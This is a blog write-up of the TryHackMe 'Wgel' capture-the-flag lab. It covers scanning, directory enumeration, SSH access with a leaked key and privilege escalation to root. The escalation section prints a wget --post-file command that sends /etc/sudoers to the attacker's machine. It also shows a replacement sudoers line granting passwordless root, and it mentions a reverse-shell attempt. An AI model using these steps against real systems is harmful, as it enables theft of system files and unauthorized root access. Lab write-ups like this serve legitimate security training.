Wgel Writeup - Prajun

698 words

3 minutes

Wgel Writeup

2026-03-22

TryHackMe

Writeup

/

Easy

/

TryHackMe

Let’s try a new lab on tryhackme named wgel ctf.#

First start by adding the ip to hosts file to not remember the ip everytime.#

Let’s start the enumeration with a nmap scan.#

1
──(igris㉿kali)-[~/Desktop/wgel]
2
└─$ nmap -sV wgel.thm
3
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-13 07:56 EDT
4
Nmap scan report for wgel.thm (10.201.22.98)
5
Host is up (0.26s latency).
6
Not shown: 998 closed tcp ports (reset)
7
PORT   STATE SERVICE VERSION
8
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
9
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
10
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
11

12
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
13
Nmap done: 1 IP address (1 host up) scanned in 13.53 seconds

Only 2 ports are open ssh and http. So let’s visit the website.#

It is the default apache ubuntu page.#

Looking at the source code i found something interesting.#

Now i couldnt find anything else so i decided to run gobuster to search for directories.#

1
┌──(igris㉿kali)-[~/Desktop/wgel]
2
└─$ gobuster dir -u http://wgel.thm/ -w /usr/share/wordlists/dirb/common.txt
3
===============================================================
4
Gobuster v3.8
5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6
===============================================================
7
[+] Url:                     http://wgel.thm/
8
[+] Method:                  GET
9
[+] Threads:                 10
10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
11
[+] Negative Status codes:   404
12
[+] User Agent:              gobuster/3.8
13
[+] Timeout:                 10s
14
===============================================================
15
Starting gobuster in directory enumeration mode
16
===============================================================
17
/.hta                 (Status: 403) [Size: 273]
18
/.htaccess            (Status: 403) [Size: 273]
19
/.htpasswd            (Status: 403) [Size: 273]
20
/index.html           (Status: 200) [Size: 11374]
21
/server-status        (Status: 403) [Size: 273]
22
/sitemap              (Status: 301) [Size: 306] [--> http://wgel.thm/sitemap/]
23
Progress: 4613 / 4613 (100.00%)
24
===============================================================
25
Finished
26
===============================================================

I found a directory named sitemap which looked really nice and well made with css and all that fancy stuff.#

Now I ran another gobuster search to find sub directories within sitemap.#

First i needed to give id_rsa enough permission and voila we are in as jessie.#

.

I used locate to locate the flag and now it is time for privilege escalation and getting root.#

1
jessie@CorpOne:~$ locate user | grep -i flag
2
/home/jessie/Documents/user_flag.txt
3
jessie@CorpOne:~$ cat /home/jessie/Documents/user_flag.txt
4
{REDACTED}
5
jessie@CorpOne:~$

Running sudo -l we can see that jessie can use wget with sudo.#

1
jessie@CorpOne:~$ sudo -l
2
Matching Defaults entries for jessie on CorpOne:
3
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
4

5
User jessie may run the following commands on CorpOne:
6
    (ALL : ALL) ALL
7
    (root) NOPASSWD: /usr/bin/wget
8
jessie@CorpOne:~$

I searched in gtfobins on how to abuse this and found a way to get root.#

I tried this method but the wget version was too low or different and didnt work. I did some digging and found that i could add a reverse shell with wget. I could then add it as a cronjob and get a reverse shell maybe. So lets try that.#

Ok that didnt work either but i found a new way to get root. I could use wget to like overwrite the sudoers file and add jessie to that and he could run sudo ig.#

I am about to try that lets see..#

First I need to post this to my kali machine and edit the file i found out you can post any file with wget using command#

wget —post-file=/etc/sudoers http://“my ip”/#

Before this i set up a netcat listener and ran the command and we got the contents of the file. Now need to edit this and send it back to the machine.#

1
jessie  ALL=(ALL) NOPASSWD: ALL

I changed this and uploaded to the machine in the etc folder so that it overwrites the old sudoers file.#

And just like that i got root#

1
root@CorpOne:~# whoami
2
root
3
root@CorpOne:~# ls -la
4
total 28
5
drwx------  4 root root 4096 oct 26  2019 .
6
drwxr-xr-x 23 root root 4096 oct 26  2019 ..
7
-rw-r--r--  1 root root 3106 oct 22  2015 .bashrc
8
drwx------  2 root root 4096 feb 27  2019 .cache
9
drwxr-xr-x  2 root root 4096 oct 26  2019 .nano
10
-rw-r--r--  1 root root  148 aug 17  2015 .profile
11
-rw-r--r--  1 root root   33 oct 26  2019 root_flag.txt
12
root@CorpOne:~# cat root_flag.txt
13
{REDACTED}
14
root@CorpOne:~#